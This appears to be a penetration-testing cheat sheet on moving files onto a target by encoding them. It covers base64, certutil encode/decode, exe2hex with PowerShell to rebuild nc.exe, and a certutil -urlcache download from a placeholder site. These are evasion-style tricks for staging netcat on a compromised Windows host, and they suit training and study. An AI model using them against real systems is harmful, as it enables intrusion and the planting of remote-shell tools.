⭕Encode / Decode Files

Base 64 encode/decode

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

Windows Downloads with exe2hex and PowerShell

cp /usr/share/windows-resources/binaries/nc.exe .

upx -9 nc.exe  >>> decrease the file size by 50%

convert nc.exe to a Windows script (.cmd) to run on the Windows machine, which will convert the file to hex and instruct powershell.exe to assemble it back into binary

exe2hex -x nc.exe -p nc.cmd

copy to clipboard directly:

cat nc.cmd | xclip -selection clipboard

paste it into the windows shell

Certutil

Base64 encode the binary file outside

$raw = Get-Content -Path c:\nc.exe -Encoding Byte
$b64 = [System.Convert]::ToBase64String($raw)
$begin= "-----BEGIN CERTIFICATE-----"
$end = "-----END CERTIFICATE-----"
"$begin$b64$end" | Out-File c:\nc.txt

Download via Notepad; certutil to write:

certutil.exe -decode nc.txt nc.exe

we can use certutils cache feature to download the file:

certutil.exe –urlcache -split –f "http://SITE/nc.crt" nc.txt

Base 64 Encoding + Copy & Paste

The trick is by first encoding the file in Base 64. We can do this by using Python:

python -c 'print(__import__("base64").b64encode(open("file", "rb").read()))'

Then, on the target, we can copy and paste the string into a .txt file with

echo "string" > output.txt

and use base64 to decode the file, with

base64 -d output.txt > output-file

If Python is available, you can also run

python -c 'print(__import__("base64").b64decode(open("string.txt", "r").read()))' > out-file